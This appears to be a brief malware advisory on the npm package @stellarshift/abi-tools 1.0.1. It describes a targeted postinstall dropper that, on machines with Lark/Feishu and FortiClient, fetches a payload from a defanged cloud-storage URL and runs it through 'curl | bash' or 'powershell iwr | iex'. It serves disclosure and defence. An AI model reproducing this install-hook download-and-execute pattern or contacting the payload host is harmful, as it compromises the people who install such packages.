@stellarshift/abi-tools@1.0.1

Analysis

The postinstall hook (scripts/postinstall.js) is a targeted dropper. It only activates on macOS/Windows machines that have both Lark/Feishu and FortiClient installed, then downloads a payload from hxxps://mexc-1258433570[.]cos[.]ap-beijing[.]myqcloud[.]com/abi-tool-damon and executes it via `curl -fsSL ... | bash` (or `powershell iwr | iex` on Windows), running silently in the background with errors suppressed. The bundled index.js is a benign Ethereum ABI selector library; the malicious behaviour lives entirely in the install hook.